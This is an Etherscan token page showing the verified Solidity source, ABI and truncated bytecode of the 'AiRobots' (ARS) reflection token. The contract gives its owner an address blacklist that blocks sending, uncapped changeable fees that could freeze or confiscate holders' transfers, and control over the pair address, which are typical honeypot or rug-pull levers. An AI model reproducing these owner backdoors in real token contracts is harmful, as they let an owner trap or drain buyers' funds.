ETH Price: $3,256.92 (+4.59%)
Gas: 2.03 Gwei
 

Overview

Max Total Supply

1,000,000,000,000,000 ARS

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
15,152,500,000,000.00000000000000001 ARS

Value
$0.00
0xc2acebdcd6b4d22dec1921c43ebf8bdc011e3c97
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ARS

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-03
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-03
*/

pragma solidity ^0.8.6;

// SPDX-License-Identifier: Unlicensed
interface IERC20 {
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable {
    address public _owner;

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function changeOwner(address newOwner) public onlyOwner {
        _owner = newOwner;
    }
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

contract ARS is IERC20, Ownable {
    using SafeMath for uint256;
    bool public Invit = true;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping (address => bool) public botes;
    bool public bot = true;
    uint256 private constant MAX = ~uint256(0);
    uint256 private _tTotal;
    uint256 private _rTotal;
    uint256 private _tFeeTotal;
    string private _name;
    string private _symbol;
    uint256 private _decimals;
    uint256 public _taxFee = 0;
    uint256 public _destroyFee = 0;
    address private _destroyAddress = address(0x000000000000000000000000000000000000dEaD);
    uint256 public _inviterFee = 0;
    address public inviterAddress = address(0x775c5985E55Fa8713785eeA0DeEfDfbC3caA4C79);
    mapping(address => address) public inviter;
    mapping(address => uint256) public lastSellTime;
    address public uniswapV2Pair;
    uint256 public _fund1Fee = 0;
    address public fund1Address = address(0x099D0E684dd8AD6764686A2bA30F72131DF299Af);//
        uint256 public _maxTxAmount = 100000000000000000 * 10**18;
    constructor(address tokenOwner) {
        _name = "AiRobots";
        _symbol = "ARS";
        _decimals = 18;

        _tTotal = 1000000000000000 * 10**_decimals;
        _rTotal = (MAX - (MAX % _tTotal));
        
        _rOwned[tokenOwner] = _rTotal;

        //exclude owner and this contract from fee
        _isExcludedFromFee[tokenOwner] = true;
        _isExcludedFromFee[address(this)] = true;
        _owner = msg.sender;
        emit Transfer(address(0), tokenOwner, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }

    function tokenFromReflection(uint256 rAmount)
        public
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
    function changeInvit(bool enableInvitBack) external onlyOwner {
        Invit  = enableInvitBack;
        }
    function changeTxLimit(uint256 newLimit) external onlyOwner {
        _maxTxAmount = newLimit * 10**18;
    }
     function blackbot(address addr, bool status) external onlyOwner {
        botes[addr] = status;
    }

     function changefee(uint256 taxFee, uint256 destroyFees, uint256 inviterFee, uint256 fund1Fee) external onlyOwner {
        _taxFee = taxFee;
        _destroyFee = destroyFees;
        _inviterFee = inviterFee;
        _fund1Fee = fund1Fee;
    } 
    
    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function claimTokens() public onlyOwner {
        payable(_owner).transfer(address(this).balance);
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(bot){
            require(!botes[from],"as");    
        }
        require(amount <= _maxTxAmount,"TX Limit Exceeded");
        //indicates if fee should be deducted from transfer
        bool takeFee = true;

        //if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        }

       
        bool shouldSetInviter = balanceOf(to) == 0 &&
            inviter[to] == address(0) &&
            from != uniswapV2Pair;

        //transfer amount, it will take tax, burn, liquidity fee
        _tokenTransfer(from, to, amount, takeFee);

        if (shouldSetInviter) {
            inviter[to] = from;
        }
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        uint256 currentRate = _getRate();

      
        uint256 rAmount = tAmount.mul(currentRate);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);

        uint256 rate;
        if (takeFee) {
           
            _takeTransfer(
                sender,
                _destroyAddress,
                tAmount.div(100).mul(_destroyFee),
                currentRate
            );

           
            
            
            _takeTransfer(
                sender,
                fund1Address,
                tAmount.div(100).mul(_fund1Fee),
                currentRate
            );
            
            
          
            _takeInviterFee(sender, recipient, tAmount, currentRate);

           
            _reflectFee(
                rAmount.div(100).mul(_taxFee),
                tAmount.div(100).mul(_taxFee)
            );
            rate = _taxFee + _destroyFee + _inviterFee + _fund1Fee;
        }

       
        uint256 recipientRate = 100 - rate;
        _rOwned[recipient] = _rOwned[recipient].add(
            rAmount.div(100).mul(recipientRate)
        );
        emit Transfer(sender, recipient, tAmount.div(100).mul(recipientRate));
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount,
        uint256 currentRate
    ) private {
        uint256 rAmount = tAmount.mul(currentRate);
        _rOwned[to] = _rOwned[to].add(rAmount);
        emit Transfer(sender, to, tAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _takeInviterFee(
        address sender,
        address recipient,
        uint256 tAmount,
        uint256 currentRate
    ) private {
        address cur;
        if (sender == uniswapV2Pair  ) {
            cur = recipient;
        } else {
            cur = sender;
        }
        if (Invit){
        for (int256 i = 0; i < 2; i++) {
            uint256 rate;
            if (i == 0) {
                rate = 2;
            } else if (i <= 1) {
                rate = 1;
            } else {
                rate = 1;
            }
            cur = inviter[cur];
            if (cur == address(0)) {
                cur = inviterAddress;
            }
            uint256 curTAmount = tAmount.div(100).mul(rate);
            uint256 curRAmount = curTAmount.mul(currentRate);
            _rOwned[cur] = _rOwned[cur].add(curRAmount);
            emit Transfer(sender, cur, curTAmount);
        }
    }
    }
    function changeRouter(address router) public onlyOwner {
        uniswapV2Pair = router;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Invit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_destroyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fund1Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_inviterFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"blackbot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"bot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"botes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enableInvitBack","type":"bool"}],"name":"changeInvit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"changeRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"changeTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"},{"internalType":"uint256","name":"destroyFees","type":"uint256"},{"internalType":"uint256","name":"inviterFee","type":"uint256"},{"internalType":"uint256","name":"fund1Fee","type":"uint256"}],"name":"changefee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fund1Address","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"inviter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inviterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"lastSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f805460ff60a01b1916600160a01b1781556006805460ff19166001179055600d819055600e819055600f80546001600160a01b031990811661dead17909155601082905560118054821673775c5985e55fa8713785eea0deefdfbc3caa4c791790556015919091556016805490911673099d0e684dd8ad6764686a2ba30f72131df299af1790556e13426172c74d822b878fe800000000601755348015620000ab575f80fd5b5060405162001dd138038062001dd1833981016040819052620000ce916200020c565b6040805180820190915260088152674169526f626f747360c01b6020820152600a90620000fc9082620002db565b5060408051808201909152600381526241525360e81b6020820152600b90620001269082620002db565b506012600c8190556200013b90600a620004b2565b6200014e9066038d7ea4c68000620004bf565b600781905562000160905f19620004d9565b6200016d905f19620004f9565b60088190556001600160a01b0382165f8181526001602081815260408084209590955560049052838220805460ff1990811683179091553083528483208054909116909117905580546001600160a01b031916331781556007549251919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620001fd9190815260200190565b60405180910390a3506200050f565b5f602082840312156200021d575f80fd5b81516001600160a01b038116811462000234575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200026457607f821691505b6020821081036200028357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002d6575f81815260208120601f850160051c81016020861015620002b15750805b601f850160051c820191505b81811015620002d257828155600101620002bd565b5050505b505050565b81516001600160401b03811115620002f757620002f76200023b565b6200030f816200030884546200024f565b8462000289565b602080601f83116001811462000345575f84156200032d5750858301515b5f19600386901b1c1916600185901b178555620002d2565b5f85815260208120601f198616915b82811015620003755788860151825594840194600190910190840162000354565b50858210156200039357878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f757815f1904821115620003db57620003db620003a3565b80851615620003e957918102915b93841c9390800290620003bc565b509250929050565b5f826200040f57506001620004ac565b816200041d57505f620004ac565b8160018114620004365760028114620004415762000461565b6001915050620004ac565b60ff841115620004555762000455620003a3565b50506001821b620004ac565b5060208310610133831016604e8410600b841016171562000486575081810a620004ac565b620004928383620003b7565b805f1904821115620004a857620004a8620003a3565b0290505b92915050565b5f620002348383620003ff565b8082028115828204841417620004ac57620004ac620003a3565b5f82620004f457634e487b7160e01b5f52601260045260245ffd5b500690565b81810381811115620004ac57620004ac620003a3565b6118b4806200051d5f395ff3fe608060405260043610610220575f3560e01c8063804ada421161011e578063a9059cbb116100a8578063d920334e1161006d578063d920334e14610625578063dd62ed3e14610644578063e483a25414610688578063ea2f0b37146106a7578063ee8f0b7a146106c6575f80fd5b8063a9059cbb14610570578063b1e1fd4b1461058f578063b2bdfa7b146105ae578063b44b4b80146105cc578063bcecc0e2146105f7575f80fd5b8063964e45f5116100ee578063964e45f5146104e9578063a23d53d1146104fe578063a41a08fb1461051d578063a457c2d714610532578063a6f9dae114610551575f80fd5b8063804ada4214610485578063885b8716146104a45780638da5cb5b146104b957806395d89b41146104d5575f80fd5b8063340ac20f116101aa57806349bd5a5e1161016f57806349bd5a5e146103c45780635342acb4146103fb57806370a08231146104325780637789b64d146104515780637d1db4a514610470575f80fd5b8063340ac20f1461033c578063395093511461035d5780633b124fe71461037c578063437823ec1461039157806348c54b9d146103b0575f80fd5b806313114a9d116101f057806313114a9d146102b857806318160ddd146102d657806323b872dd146102ea5780632d83811914610309578063313ce56714610328575f80fd5b806306fbce891461022b57806306fdde031461025f578063095ea7b31461028057806310814c371461029f575f80fd5b3661022757005b5f80fd5b348015610236575f80fd5b505f5461024a90600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b34801561026a575f80fd5b506102736106fa565b604051610256919061158f565b34801561028b575f80fd5b5061024a61029a3660046115f5565b61078a565b3480156102aa575f80fd5b5060065461024a9060ff1681565b3480156102c3575f80fd5b506009545b604051908152602001610256565b3480156102e1575f80fd5b506007546102c8565b3480156102f5575f80fd5b5061024a61030436600461161d565b6107a0565b348015610314575f80fd5b506102c8610323366004611656565b610807565b348015610333575f80fd5b50600c546102c8565b348015610347575f80fd5b5061035b61035636600461166d565b61088e565b005b348015610368575f80fd5b5061024a6103773660046115f5565b6108d9565b348015610387575f80fd5b506102c8600d5481565b34801561039c575f80fd5b5061035b6103ab36600461166d565b61090e565b3480156103bb575f80fd5b5061035b61095a565b3480156103cf575f80fd5b506014546103e3906001600160a01b031681565b6040516001600160a01b039091168152602001610256565b348015610406575f80fd5b5061024a61041536600461166d565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561043d575f80fd5b506102c861044c36600461166d565b6109bd565b34801561045c575f80fd5b5061035b61046b366004611695565b6109de565b34801561047b575f80fd5b506102c860175481565b348015610490575f80fd5b5061035b61049f3660046116ae565b610a24565b3480156104af575f80fd5b506102c860155481565b3480156104c4575f80fd5b505f546001600160a01b03166103e3565b3480156104e0575f80fd5b50610273610a61565b3480156104f4575f80fd5b506102c8600e5481565b348015610509575f80fd5b5061035b6105183660046116dd565b610a70565b348015610528575f80fd5b506102c860105481565b34801561053d575f80fd5b5061024a61054c3660046115f5565b610ac3565b34801561055c575f80fd5b5061035b61056b36600461166d565b610b10565b34801561057b575f80fd5b5061024a61058a3660046115f5565b610b5a565b34801561059a575f80fd5b506011546103e3906001600160a01b031681565b3480156105b9575f80fd5b505f546103e3906001600160a01b031681565b3480156105d7575f80fd5b506102c86105e636600461166d565b60136020525f908152604090205481565b348015610602575f80fd5b5061024a61061136600461166d565b60056020525f908152604090205460ff1681565b348015610630575f80fd5b5061035b61063f366004611656565b610b66565b34801561064f575f80fd5b506102c861065e36600461170e565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610693575f80fd5b506016546103e3906001600160a01b031681565b3480156106b2575f80fd5b5061035b6106c136600461166d565b610ba7565b3480156106d1575f80fd5b506103e36106e036600461166d565b60126020525f90815260409020546001600160a01b031681565b6060600a805461070990611736565b80601f016020809104026020016040519081016040528092919081815260200182805461073590611736565b80156107805780601f1061075757610100808354040283529160200191610780565b820191905f5260205f20905b81548152906001019060200180831161076357829003601f168201915b5050505050905090565b5f610796338484610bf0565b5060015b92915050565b5f6107ac848484610d13565b6107fd84336107f885604051806060016040528060288152602001611832602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610fb1565b610bf0565b5060019392505050565b5f6008548211156108725760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084015b60405180910390fd5b5f61087b610fe9565b9050610887838261100a565b9392505050565b5f546001600160a01b031633146108b75760405162461bcd60e51b81526004016108699061176e565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b335f8181526003602090815260408083206001600160a01b038716845290915281205490916107969185906107f8908661104b565b5f546001600160a01b031633146109375760405162461bcd60e51b81526004016108699061176e565b6001600160a01b03165f908152600460205260409020805460ff19166001179055565b5f546001600160a01b031633146109835760405162461bcd60e51b81526004016108699061176e565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156109ba573d5f803e3d5ffd5b50565b6001600160a01b0381165f9081526001602052604081205461079a90610807565b5f546001600160a01b03163314610a075760405162461bcd60e51b81526004016108699061176e565b5f8054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b03163314610a4d5760405162461bcd60e51b81526004016108699061176e565b600d93909355600e91909155601055601555565b6060600b805461070990611736565b5f546001600160a01b03163314610a995760405162461bcd60e51b81526004016108699061176e565b6001600160a01b03919091165f908152600560205260409020805460ff1916911515919091179055565b5f61079633846107f88560405180606001604052806025815260200161185a60259139335f9081526003602090815260408083206001600160a01b038d1684529091529020549190610fb1565b5f546001600160a01b03163314610b395760405162461bcd60e51b81526004016108699061176e565b5f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f610796338484610d13565b5f546001600160a01b03163314610b8f5760405162461bcd60e51b81526004016108699061176e565b610ba181670de0b6b3a76400006117b7565b60175550565b5f546001600160a01b03163314610bd05760405162461bcd60e51b81526004016108699061176e565b6001600160a01b03165f908152600460205260409020805460ff19169055565b6001600160a01b038316610c525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610869565b6001600160a01b038216610cb35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610869565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610869565b6001600160a01b038216610dd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610869565b5f8111610e3a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610869565b60065460ff1615610e92576001600160a01b0383165f9081526005602052604090205460ff1615610e925760405162461bcd60e51b8152602060048201526002602482015261617360f01b6044820152606401610869565b601754811115610ed85760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610869565b6001600160a01b0383165f9081526004602052604090205460019060ff1680610f1857506001600160a01b0383165f9081526004602052604090205460ff165b15610f2057505f5b5f610f2a846109bd565b158015610f4e57506001600160a01b038481165f9081526012602052604090205416155b8015610f6857506014546001600160a01b03868116911614155b9050610f76858585856110a9565b8015610faa576001600160a01b038481165f90815260126020526040902080546001600160a01b0319169187169190911790555b5050505050565b5f8184841115610fd45760405162461bcd60e51b8152600401610869919061158f565b505f610fe084866117ce565b95945050505050565b5f805f610ff461126c565b9092509050611003828261100a565b9250505090565b5f61088783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a0565b5f8061105783856117e1565b9050838110156108875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610869565b5f6110b2610fe9565b90505f6110bf84836112cc565b6001600160a01b0387165f908152600